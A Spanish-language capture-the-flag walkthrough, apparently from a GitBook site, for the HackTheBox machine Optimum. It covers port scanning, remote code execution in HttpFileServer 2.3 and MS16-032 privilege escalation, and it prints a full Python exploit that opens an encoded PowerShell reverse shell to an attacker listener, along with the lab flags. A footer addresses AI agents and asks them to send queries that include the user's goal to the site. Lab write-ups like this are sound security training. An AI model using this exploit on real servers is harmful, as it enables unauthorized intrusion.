> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Guía de HackTheBox Optimum Guía de HackTheBox Optimum Fácil Windows que cubre RCE de HFS 2.3 y escalada de privilegios MS16-032. {% embed url="" %} {% hint style="warning" %} **Técnicas** * Ejecución remota de código en HttpFileServer 2.3 * Enumeración del host Windows * Elevación local de privilegios MS16-032 {% endhint %} ## Reconocimiento ### Prepara el espacio de trabajo Crea un directorio dedicado para la máquina: ```bash mkdir Optimum cd Optimum ```
El `127` TTL sugiere que el objetivo ejecuta Windows.
### Descubrir puertos abiertos Escanea todos los puertos TCP y guarda los resultados: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts ``` Nmap identifica el puerto `80` como el único puerto abierto.
### Identificar el servicio web Ejecuta detección de versión y scripts predeterminados contra el puerto `80`: ```bash sudo nmap -sCV -p80 10.129.5.151 -oN targeted ```
El objetivo ejecuta HttpFileServer 2.3. Esta versión tiene una vulnerabilidad conocida de ejecución remota de código. ```bash searchsploit httpfileserver ```
### Explotar HFS 2.3 Usa el siguiente script de Python para enviar una reverse shell de PowerShell codificada. Actualiza primero los valores del listener y del objetivo: ```bash import requests import urllib import base64 lhost = '10.10.15.2' # Cambia esto lport = '1234' # Cambia esto rhost = '10.129.5.151' # Cambia esto rport = '80' # Cambia esto command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' command_bytes = command.encode('utf-16le') base64_bytes = base64.b64encode(command_bytes) encodedcommand = base64_bytes.decode('ascii') payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand encodedpayload = urllib.parse.quote_plus(payload) url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}' r = requests.get(url) if r.status_code == 200: print('GET Request Sent') else: print('Failed to Send Request') ``` Inicia un listener antes de ejecutar el script: ```bash rlwrap nc -nvlp 1234 ``` Ejecuta el exploit desde tu máquina local: ```bash python3 rce.py ``` El objetivo se conecta de vuelta con una reverse shell de PowerShell.
### Captura la flag de usuario {% code overflow="wrap" %} ```bash type C:\Users\kostas\Desktop\user.txt ``` {% endcode %} * f2f8d68c549c18e1b94d2c99207e3022
## Escalada de privilegios ### Identificar la ruta de elevación Inspecciona el sistema operativo del objetivo: {% code overflow="wrap" %} ```bash systeminfo ``` {% endcode %} El objetivo ejecuta Windows Server 2012 R2.
El host es vulnerable a la elevación de kernel x64 de MS16-032. {% embed url="" %} Descarga el repositorio del exploit y localiza el payload compilado: {% code overflow="wrap" %} ```bash windows-kernel-exploits/MS16-032/x64/ms16-032.exe ``` {% endcode %} ### Transferir el exploit Inicia un servidor SMB en el directorio que contiene el exploit: {% code overflow="wrap" %} ```bash sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copia el ejecutable al objetivo: ```bash copy \\10.10.15.2\share\ms16-032.exe . ```
```bash copy \\10.10.15.2\share\MS16-032.ps1 . ``` El payload de PowerShell no está disponible en este host.
### Explotar MS16-032 con Metasploit Usa Metasploit como alternativa: {% code overflow="wrap" %} ```bash search ms16-032 ``` {% endcode %}
Selecciona el módulo MS16-032 y ejecútalo contra la sesión activa: {% code overflow="wrap" %} ```bash use 0 set SESSION 2 run getuid ``` {% endcode %} La sesión ahora se ejecuta como `NT AUTHORITY\SYSTEM`.
### Captura la bandera root {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %} * 0d795fff7eac20e753543b412dfa5c34
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.